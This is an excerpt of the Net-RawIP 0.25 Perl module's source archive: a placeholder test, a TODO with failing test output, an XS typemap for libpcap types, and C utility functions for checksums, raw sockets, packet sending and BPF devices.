maddinguemaddingue00000000000000#!/usr/bin/perl use strict; use warnings; use Test::More; my $tests; plan tests => 1; BEGIN {$tests += 1; } #use Net::RawIP; #print timem(); ok(1); Net-RawIP-0.25/TODO0000644000076500007650000000132210604431634015563 0ustar maddinguemaddingue00000000000000 svk diff -r11153:11154 | less add warnings !! $ [~/Net-RawIP-0.21_02]# perl -I../perl5lib/lib -Iblib/lib -I blib/arch t/iflist.t Must have EUID == 0 to use Net::RawIP at t/iflist.t line 10 1..7 ok 1 - ifaddrlist retursn HASH ref not ok 2 - lo interface exists # Failed test (t/iflist.t at line 16) not ok 3 - lo interface is 127.0.0.1 # Failed test (t/iflist.t at line 17) # got: undef # expected: '127.0.0.1' # ifaddrelist returns: $VAR1 = { # 'eri0' => '10.56.22.43', # 'lo0' => '127.0.0.1' # }; rdev() is not implemented on this system at blib/lib/Net/RawIP.pm line 651. # Looks like you planned 7 tests but only ran 3. # Looks like your test died just after 3. Net-RawIP-0.25/typemap0000644000076500007650000000045310604431634016501 0ustar maddinguemaddingue00000000000000TYPEMAP pcap_t * T_IV pcap_dumper_t * T_IV pcap_handler T_IV bpf_u_int32 * T_IV struct pcap_pkthdr * T_IV struct bpf_program * T_IV u_char * T_IV struct pcap_stat * T_IV const u_char * T_IV struct pcap_pkthdr * T_IV bpf_u_int32 T_IV u_int T_IV struct sockaddr_in * T_IV u_int32_t T_IVNet-RawIP-0.25/util.c0000644000076500007650000000746410604431634016231 0ustar maddinguemaddingue00000000000000#include "EXTERN.h" #include "perl.h" #include "XSUB.h" #ifdef _SOLARIS_ #include "solaris.h" #else #include #endif #include #include #include #include #include #include #ifdef _BPF_ #include #include #endif #ifndef DLT_RAW #define DLT_RAW 12 #endif #ifndef DLT_SLIP_BSDOS #define DLT_SLIP_BSDOS 13 #endif #ifndef DLT_PPP_BSDOS #define DLT_PPP_BSDOS 14 #endif #include "ip.h" unsigned short ip_in_cksum(struct iphdr *iph, unsigned short *ptr, int nbytes) { register long sum = 0; /* assumes long == 32 bits */ u_short oddbyte; register u_short answer; /* assumes u_short == 16 bits */ int pheader_len; unsigned short *pheader_ptr; struct pseudo_header { unsigned long saddr; unsigned long daddr; unsigned char null; unsigned char proto; unsigned short tlen; } pheader; pheader.saddr = iph->saddr; pheader.daddr = iph->daddr; pheader.null = 0; pheader.proto = iph->protocol; pheader.tlen = htons(nbytes); pheader_ptr = (unsigned short *)&pheader; for (pheader_len = sizeof(pheader); pheader_len; pheader_len -= 2) { sum += *pheader_ptr++; } while (nbytes > 1) { sum += *ptr++; nbytes -= 2; } if (nbytes == 1) { /* mop up an odd byte, if necessary */ oddbyte = 0; /* make sure top half is zero */ *((u_char *) & oddbyte) = *(u_char *) ptr; /* one byte only */ sum += oddbyte; } sum += (sum >> 16); /* add carry */ answer = ~sum; /* ones-complement, then truncate to 16 bits */ return (answer); } unsigned short in_cksum(unsigned short *ptr, int nbytes) { register long sum=0; /* assumes long == 32 bits */ u_short oddbyte; register u_short answer; /* assumes u_short == 16 bits */ while(nbytes>1){ sum+=*ptr++; nbytes-=2; } if(nbytes==1){ /* mop up an odd byte, if necessary */ oddbyte=0; /* make sure top half is zero */ *((u_char *)&oddbyte)=*(u_char *)ptr; /* one byte only */ sum+=oddbyte; } sum+=(sum>>16); /* add carry */ answer=~sum; /* ones-complement, then truncate to 16 bits */ return(answer); } int rawsock(void) { int fd,val=1; if ((fd = socket(AF_INET, SOCK_RAW, IPPROTO_RAW)) < 0) { croak("(rawsock) socket problems [fatal]"); } if (setsockopt(fd, IPPROTO_IP, IP_HDRINCL, &val, sizeof(val)) < 0) { croak("Cannot set IP_HDRINCL socket option"); } return fd; } u_long host_to_ip (char *host_name) { struct hostent *target; u_long *resolved_ip; u_long host_resolved_ip; resolved_ip = (u_long *) malloc (sizeof (u_long)); if ((target = gethostbyname (host_name)) == NULL) { croak("host_to_ip: failed"); } else { bcopy (target->h_addr, resolved_ip, sizeof (struct in_addr)); host_resolved_ip = ntohl ((u_long) * resolved_ip); free(resolved_ip); return host_resolved_ip; } } void pkt_send (int fd, unsigned char * sock,u_char *pkt,int size) { if (sendto (fd, (const void *)pkt,size, 0, (const struct sockaddr *) sock, sizeof (struct sockaddr)) < 0) { close (fd); croak("sendto()"); } } int linkoffset(int type) { switch (type) { case DLT_EN10MB: return 14; case DLT_SLIP: return 16; case DLT_SLIP_BSDOS: return 24; case DLT_NULL: return 4; case DLT_PPP: return 4; case DLT_PPP_BSDOS: return 24; case DLT_FDDI: return 21; case DLT_IEEE802: return 22; case DLT_ATM_RFC1483: return 8; case DLT_RAW: return 0; } } #ifdef _BPF_ int bpf_open(void) { int fd; int n = 0; char device[sizeof "/dev/bpf000"]; do { (void)sprintf(device, "/dev/bpf%d", n++); fd = open(device, O_WRONLY); } while (fd < 0 && errno == EBUSY); if (fd < 0) printf("%s: %s", device, pcap_strerror(errno)); return (fd); } #endif